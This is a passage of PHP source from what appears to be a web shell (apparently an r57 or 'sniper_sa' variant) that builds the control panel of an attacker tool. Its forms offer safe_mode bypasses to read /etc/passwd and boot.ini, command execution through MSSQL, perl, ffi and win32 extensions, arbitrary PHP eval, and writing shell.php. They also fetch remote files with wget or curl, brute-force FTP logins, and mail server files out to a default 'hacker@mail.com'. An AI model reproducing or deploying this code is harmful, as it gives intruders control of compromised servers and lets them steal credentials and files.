  3017. echo $te.'</div>'.$table_end1.$fe;
  3018. echo $fs.$table_up1.div_title($lang[$language.'_text224'],'id511').$table_up2.div('id511').$ts;
  3019. echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>","<select size=\"1\" name=\"plugin\"><option value=\"plugin\">/etc/passwd</option></option></select>".in('hidden','cmd',0,'plugin').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
  3020. echo $te.'</div>'.$table_end1.$fe;
  3021. }
  3022. echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
  3023. echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
  3024. echo $te.'</div>'.$table_end1.$fe;
  3025. if($safe_mode)
  3026. {
  3027. echo $fs.$table_up1.div_title($lang[$language.'_text204'],'id204').$table_up2.div('id204').$ts;
  3028. echo sr(15,"<b>".$lang[$language.'_text226'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):('../../file.php'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10'));
  3029. echo sr(15,"<b>".$lang[$language.'_text227'].$arrow."</b>",in('text','test10_content',96,(!empty($_POST['test10_content'])?($_POST['test10_content']):('<? echo \'gotcha\'; ?>'))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3030. echo $te.'</div>'.$table_end1.$fe;
  3031. }
  3032.  
  3033. if($safe_mode)
  3034. {
  3035. echo $fs.$table_up1.div_title($lang[$language.'_text228'],'id228').$table_up2.div('id228').$ts;
  3036. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test12_cmd',96,(!empty($_POST['test12_cmd'])?($_POST['test12_cmd']):('ls -la'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').in('submit','submit',0,$lang[$language.'_butt8']));
  3037. echo $te.'</div>'.$table_end1.$fe;
  3038. }
  3039.  
  3040. if($safe_mode&&!$unix)
  3041. {
  3042. echo $fs.$table_up1.div_title($lang[$language.'_text229'],'id229').$table_up2.div('id229').$ts;
  3043. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test13_cmd',96,(!empty($_POST['test13_cmd'])?($_POST['test13_cmd']):('dir'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13').in('submit','submit',0,$lang[$language.'_butt8']));
  3044. echo $te.'</div>'.$table_end1.$fe;
  3045. }
  3046.  
  3047. if($safe_mode&&extension_loaded("ionCube Loader"))
  3048. {
  3049. echo $fs.$table_up1.div_title($lang[$language.'_text230'],'id230').$table_up2.div('id230').$ts;
  3050. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test14_cmd',96,(!empty($_POST['test14_cmd'])?($_POST['test14_cmd']):('../../boot.ini'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14').in('submit','submit',0,$lang[$language.'_butt8']));
  3051. echo $te.'</div>'.$table_end1.$fe;
  3052. }
  3053.  
  3054. if($safe_mode&&!$unix&&extension_loaded("win32std"))
  3055. {
  3056. echo $fs.$table_up1.div_title($lang[$language.'_text231'],'id231').$table_up2.div('id231').$ts;
  3057. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test15_cmd',96,(!empty($_POST['test15_cmd'])?($_POST['test15_cmd']):('dir'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15').in('submit','submit',0,$lang[$language.'_butt8']));
  3058. echo $te.'</div>'.$table_end1.$fe;
  3059. }
  3060.  
  3061. if($safe_mode&&!$unix&&extension_loaded("win32service"))
  3062. {
  3063. echo $fs.$table_up1.div_title($lang[$language.'_text232'],'id232').$table_up2.div('id232').$ts;
  3064. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test16_cmd',96,(!empty($_POST['test16_cmd'])?($_POST['test16_cmd']):('dir'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').in('submit','submit',0,$lang[$language.'_butt8']));
  3065. echo $te.'</div>'.$table_end1.$fe;
  3066. }
  3067.  
  3068. if($safe_mode&&extension_loaded("perl"))
  3069. {
  3070. echo $fs.$table_up1.div_title($lang[$language.'_text131'],'id34').$table_up2.div('id233').$ts;
  3071. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test17_cmd',96,(!empty($_POST['test17_cmd'])?($_POST['test17_cmd']):('dir'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17').in('submit','submit',0,$lang[$language.'_butt8']));
  3072. echo $te.'</div>'.$table_end1.$fe;
  3073. }
  3074.  
  3075. if($safe_mode&&!$unix&&extension_loaded("ffi"))
  3076. {
  3077. echo $fs.$table_up1.div_title($lang[$language.'_text132'],'id35').$table_up2.div('id234').$ts;
  3078. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test18_cmd',96,(!empty($_POST['test18_cmd'])?($_POST['test18_cmd']):('dir'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test18').in('submit','submit',0,$lang[$language.'_butt8']));
  3079. echo $te.'</div>'.$table_end1.$fe;
  3080. }
  3081.  
  3082. if($safe_mode&&@function_exists('fopen'))
  3083. {
  3084. echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id1000').$table_up2.div('id1000').$ts;
  3085. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test20',96,(!empty($_POST['test20'])?($_POST['test20']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test20').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3086. echo $te.'</div>'.$table_end1.$fe;
  3087.  
  3088. echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id1001').$table_up2.div('id1001').$ts;
  3089. echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test21_file',96,(!empty($_POST['test21_file'])?($_POST['test21_file']):($dir."test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test21').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3090. echo $te.'</div>'.$table_end1.$fe;
  3091. }
  3092.  
  3093. if($safe_mode&&@function_exists('realpath'))
  3094. {
  3095. $select_n_rlph = "<select name='n_rlph'><option value=1>[ 1 ] (<<0,01 sec)</option><option value=2>[ 2 ] (<0,01 sec)</option>".
  3096. "<option value=3 selected>[ 3 ] (<1 sec (default))</option>".
  3097. "<option value=4>[ 4 ] (<10 sec)</option><option value=5>[ 5 ] (>100 sec (danger))</option><option value=6>[ 6 ] (>>100 sec (danger))</option></select>";
  3098. echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id1002').$table_up2.div('id1002').$ts;
  3099. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',30,(!empty($_POST['dir_rlph'])?($_POST['dir_rlph']):($dir))).ws(2).'<b>'.$lang[$language.'_text55'].'</b>'.ws(2).in('text','end_rlph',6,(!empty($_POST['end_rlph'])?($_POST['end_rlph']):('.php'))).ws(2).in('hidden','cmd',0,'test22').ws(2).'<b>'.$lang[$language.'_text146'].'</b>'.ws(2).$select_n_rlph.ws(2).in('hidden','test22',0,'test22').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3100. echo $te.'</div>'.$table_end1.$fe;
  3101. }
  3102. if($safe_mode&&@function_exists('session_save_path'))
  3103. {
  3104. echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id1003').$table_up2.div('id1003').$ts;
  3105. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test23_file2',96,(!empty($_POST['test23_file2'])?($_POST['test23_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test23'));
  3106. echo sr(15,"<b>".$lang[$language.'_text128'].$arrow."</b>",in('text','test23_file1',96,(!empty($_POST['test23_file1'])?($_POST['test23_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
  3107. echo $te.'</div>'.$table_end1.$fe;
  3108.  
  3109. echo $fs.$table_up1.div_title($lang[$language.'_text125'],'id1004').$table_up2.div('id1004').$ts;
  3110. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test24_file2',96,(!empty($_POST['test24_file2'])?($_POST['test24_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test24'));
  3111. echo sr(15,"<b>".$lang[$language.'_text128'].$arrow."</b>",in('text','test24_file1',96,(!empty($_POST['test24_file1'])?($_POST['test24_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
  3112. echo $te.'</div>'.$table_end1.$fe;
  3113.  
  3114. }
  3115. if($safe_mode&&@function_exists('readfile'))
  3116. {
  3117. echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id1005').$table_up2.div('id1005').$ts;
  3118. echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test25_file2',96,(!empty($_POST['test25_file2'])?($_POST['test25_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test25'));
  3119. echo sr(15,"<b>".$lang[$language.'_text128'].$arrow."</b>",in('text','test25_file1',96,(!empty($_POST['test25_file1'])?($_POST['test25_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
  3120. echo $te.'</div>'.$table_end1.$fe;
  3121. }
  3122. if($safe_mode)
  3123. {
  3124. echo $fs.$table_up1.div_title($lang[$language.'_text207'],'id207').$table_up2.div('id207').$ts;
  3125. echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','glob',85,'/etc/').in('hidden','cmd',0,'glob').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
  3126. echo $te.'</div>'.$table_end1.$fe;
  3127. echo $fs.$table_up1.div_title($lang[$language.'_text209'],'id209').$table_up2.div('id209').$ts;
  3128. echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','root',85,'/etc/').in('hidden','cmd',0,'root').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
  3129. echo $te.'</div>'.$table_end1.$fe;
  3130.  
  3131. echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id2900').$table_up2.div('id2900').$ts;
  3132. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test19',85,'/etc/passwd').in('hidden','cmd',0,'test19').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3133. echo $te.'</div>'.$table_end1.$fe;
  3134.  
  3135. echo $fs.$table_up1.div_title($lang[$language.'_text210'],'id210').$table_up2.div('id210').$ts;
  3136. echo "<table class=table1 width=100% align=center>";
  3137. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','zend',85,(!empty($_POST['zend'])?($_POST['zend']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'zend').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3138. echo $te.'</div>'.$table_end1.$fe;
  3139.  
  3140. echo $fs.$table_up1.div_title($lang[$language.'_text211'],'id211').$table_up2.div('id211').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
  3141. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text212']."</div></b></font>";
  3142. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','php_ini1',10,'php.ini').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
  3143. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text213']."</div></b></font>";
  3144. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','htacces',10,'htaccess').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
  3145. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text218']."</div></b></font>";
  3146. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','file_ini',10,'ini.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
  3147. echo $te.'</div>'.$table_end1.$fe;
  3148.  
  3149. $aliases2 = '';
  3150. foreach ($aliases as $alias_name=>$alias_cmd)
  3151.  {
  3152.  $aliases2 .= "<option>$alias_name</option>";
  3153.  }
  3154. echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts;
  3155. echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  3156. echo $te.'</div>'.$table_end1.$fe;
  3157.  
  3158. }
  3159.  
  3160. if($safe_mode){
  3161. echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
  3162. echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
  3163. echo $te.'</div>'.$table_end1.$fe;
  3164. }
  3165. if($safe_mode && $unix){
  3166. echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts;
  3167. echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  3168. echo $te.'</div>'.$table_end1.$fe;
  3169. }
  3170.  
  3171. echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts;
  3172. echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  3173. echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
  3174. echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
  3175. echo $te.'</div>'.$table_end1.$fe;
  3176. if(!$safe_mode && $unix){
  3177. echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts;
  3178. echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  3179. echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
  3180. echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
  3181. echo $te.'</div>'.$table_end1.$fe;
  3182. }
  3183. echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font;
  3184. echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>";
  3185. echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"Xgr0upVN.php\");\r\n//readfile(\"/etc/passwd\");"));
  3186. echo "</textarea>";
  3187. echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
  3188. echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
  3189. echo "</div></div></font>";
  3190. echo $table_end1.$fe;
  3191. if($safe_mode&&$curl_on)
  3192. {
  3193. echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts;
  3194. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3195. echo $te.'</div>'.$table_end1.$fe;
  3196. }
  3197. if($safe_mode)
  3198. {
  3199. echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
  3200. echo "<table class=table1 width=100% align=center>";
  3201. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3202. echo $te.'</div>'.$table_end1.$fe;
  3203. }
  3204.  
  3205.  
  3206. if($safe_mode&&$mssql_on)
  3207. {
  3208. echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts;
  3209. echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
  3210. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3211. echo $te.'</div>'.$table_end1.$fe;
  3212. }
  3213. if($safe_mode&&$unix&&function_exists('mb_send_mail')){
  3214. echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts;
  3215. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3216. echo $te.'</div>'.$table_end1.$fe;
  3217. }
  3218. if($safe_mode&&function_exists('imap_list')){
  3219. echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts;
  3220. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3221. echo $te.'</div>'.$table_end1.$fe;
  3222. }
  3223. if($safe_mode&&function_exists('imap_body')){
  3224. echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts;
  3225. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3226. echo $te.'</div>'.$table_end1.$fe;
  3227. }
  3228. if($safe_mode)
  3229. {
  3230. echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts;
  3231. echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
  3232. echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3233. echo $te.'</div>'.$table_end1.$fe;
  3234. }
  3235. if(@ini_get('file_uploads')){
  3236. echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
  3237. echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts;
  3238. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,''));
  3239. echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  3240. echo $te.'</div>'.$table_end1.$fe;
  3241. }
  3242. if(!$safe_mode&&$unix){
  3243. echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts;
  3244. echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
  3245. echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  3246. echo $te.'</div>'.$table_end1.$fe;
  3247. }
  3248. echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts;
  3249. echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
  3250. $arh = $lang[$language.'_text92'];
  3251. if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip';   }
  3252. if(@function_exists('gzencode'))   { $arh .= in('radio','compress',0,'gzip').' gzip'; }
  3253. if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
  3254. echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
  3255. echo $te.'</div>'.$table_end1.$fe;
  3256. if(@function_exists("ftp_connect")){
  3257. echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
  3258. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
  3259. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
  3260. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
  3261. echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
  3262. echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
  3263. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  3264. echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
  3265. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
  3266. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  3267. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
  3268. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
  3269. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
  3270. echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
  3271. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  3272. echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
  3273. echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
  3274. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
  3275. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  3276. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>";
  3277. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir));
  3278. echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>");
  3279. echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
  3280. echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text129']);
  3281. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root"))));
  3282. echo sr(25,"<b>".$lang[$language.'_text129'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic'))));
  3283. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1']));
  3284. echo $te."</td>".$fe."</tr></div></table>";
  3285. }
  3286. if(@function_exists("mail")){
  3287. echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
  3288. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
  3289. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
  3290. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
  3291. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
  3292. echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
  3293. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  3294. echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
  3295. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
  3296. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
  3297. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
  3298. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from sniper_sa shell"))));
  3299. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  3300. echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
  3301. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  3302. echo $te."</td>".$fe."</tr></div></table>";
  3303. }
  3304. if($mysql_on||$mssql_on||$pg_on||$ora_on)
  3305. {
  3306. $select = '<select name=db>';
  3307. if($mysql_on) $select .= '<option>MySQL</option>';
  3308. if($mssql_on) $select .= '<option>MSSQL</option>';
